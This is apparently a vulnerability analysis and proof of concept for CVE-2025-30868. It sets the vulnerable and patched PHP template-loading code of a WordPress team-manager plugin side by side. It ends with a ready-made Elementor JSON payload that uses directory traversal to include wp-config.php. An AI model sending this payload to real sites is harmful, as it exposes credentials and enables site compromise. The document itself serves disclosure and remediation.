CVE-2025-30868 Analysis & POC

public static function renderElementorLayout(string $layout, array $data, array $settings): void
{
    $styleTypeKey = "{$layout}_style_type";
    $styleType = stripslashes($settings[$styleTypeKey]);
    $path = stripslashes(TM_PATH . '/public/templates/elementor/layouts/' . $layout . '/');
    $templateName = sanitize_file_name( $styleType . '.php' );
    //allowed file type
    $allowedFileTypes = [
        'php'
    ];
    $ext = pathinfo($path . $templateName, PATHINFO_EXTENSION);
    if (in_array($ext, $allowedFileTypes)) {
        if (file_exists($path . $templateName)) {
            include self::locateTemplate($templateName, '', $path);
        }
    }

}

private static function locateTemplate(string $templateName, string $templatePath = '', string $defaultPath = ''): string
{
    $templatePath = $templatePath ?: 'public/templates';
    $defaultPath = $defaultPath ?: TM_PATH . '/public/templates/';
    $template = locate_template(trailingslashit($templatePath) . $templateName);
    return $template ?: "{$defaultPath}{$templateName}";
}

public static function renderElementorLayout(string $layout, array $data, array $settings): void
{
    $allowedLayouts = ['grid', 'list', 'slider', 'table', 'isotope']; // Allowed layouts

    if (!in_array($layout, $allowedLayouts, true)) {
        wp_die(__('Invalid layout.', 'wp-team-manager'));
    }

    $styleTypeKey = "{$layout}_style_type";
    $styleType = $settings[$styleTypeKey] ?? '';

    // Ensure only safe characters (alphanumeric + underscores)
    if (!preg_match('/^[a-zA-Z0-9_-]+$/', $styleType)) {
        wp_die(__('Invalid style type.', 'wp-team-manager'));
    }

    // Ensure constants exist before using them
    if (!defined('TM_PATH')) {
        wp_die(__('TM_PATH is not defined.', 'wp-team-manager'));
    }

    // Define Free path (always available)
    $basePath = realpath(TM_PATH . '/public/templates/elementor/layouts/');

    // Define Pro path if available
    $proPath = defined('TM_PRO_PATH') ? realpath(TM_PRO_PATH . '/public/templates/elementor/layouts/') : null;

    // Ensure the free path is valid
    if (!$basePath) {
        wp_die(__('Invalid base template path.', 'wp-team-manager'));
    }

    $templateName = sanitize_file_name($styleType . '.php');

    // Define possible template paths (Pro first, then Free)
    $proFullPath = $proPath ? $proPath . '/' . $layout . '/' . $templateName : null;
    $freeFullPath = $basePath . '/' . $layout . '/' . $templateName;

    // Check if Pro template exists and is readable
    if ($proFullPath && is_readable($proFullPath) && strpos(realpath($proFullPath), $proPath) === 0) {
        include $proFullPath;
        return;
    }

    // Check if Free template exists and is readable
    if (is_readable($freeFullPath) && strpos(realpath($freeFullPath), $basePath) === 0) {
        include $freeFullPath;
        return;
    }

    // If neither file is found, show an error
    wp_die(__('Template not found or invalid file.', 'wp-team-manager'));
}

private static function locateTemplate(string $templateName, string $templatePath = '', string $defaultPath = ''): string
{
    // Ensure template name is safe (allow only alphanumeric, dashes, and underscores)
    if (!preg_match('/^[a-zA-Z0-9_-]+\.php$/', $templateName)) {
        die('Invalid template name.');
    }

    $templatePath = $templatePath ?: 'public/templates';
    $defaultPath = $defaultPath ?: TM_PATH . '/public/templates/';

    // Ensure paths are properly resolved
    $resolvedDefaultPath = realpath($defaultPath);
    $resolvedTemplatePath = realpath(trailingslashit($templatePath));

    // Validate resolved paths
    if (!$resolvedDefaultPath || strpos($resolvedDefaultPath, realpath(TM_PATH . '/public/templates/')) !== 0) {
        die('Invalid default path.');
    }

    if ($resolvedTemplatePath && strpos($resolvedTemplatePath, realpath(TM_PATH . '/public/templates/')) === 0) {
        $template = locate_template($resolvedTemplatePath . '/' . $templateName);
        if ($template && file_exists($template)) {
            return $template;
        }
    }

    // Build the final safe path
    $finalPath = $resolvedDefaultPath . '/' . $templateName;

    // Ensure the final path is within the allowed directory
    if (file_exists($finalPath) && strpos(realpath($finalPath), $resolvedDefaultPath) === 0) {
        return $finalPath;
    }

    die('Template not found or invalid.');
}

{
  "save_builder": {
    "action": "save_builder",
    "data": {
      "status": "pending",
      "elements": [
        {
          "id": "e9249f1",
          "elType": "container",
          "isInner": false,
          "isLocked": false,
          "settings": {},
          "elements": [
            {
              "id": "3e7c95b",
              "elType": "widget",
              "isInner": false,
              "isLocked": false,
              "settings": {
                "layout_type": "../../../../../../..",
                "../../../../../../.._style_type": "wp-config"
              },
              "elements": [],
              "widgetType": "wtm-team-manager"
            }
          ]
        },
        {
          "id": "b132b28",
          "elType": "container",
          "isInner": false,
          "isLocked": false,
          "settings": {},
          "elements": []
        }
      ],
      "settings": {
        "post_title": "Team",
        "post_status": "pending"
      }
    }
  }
}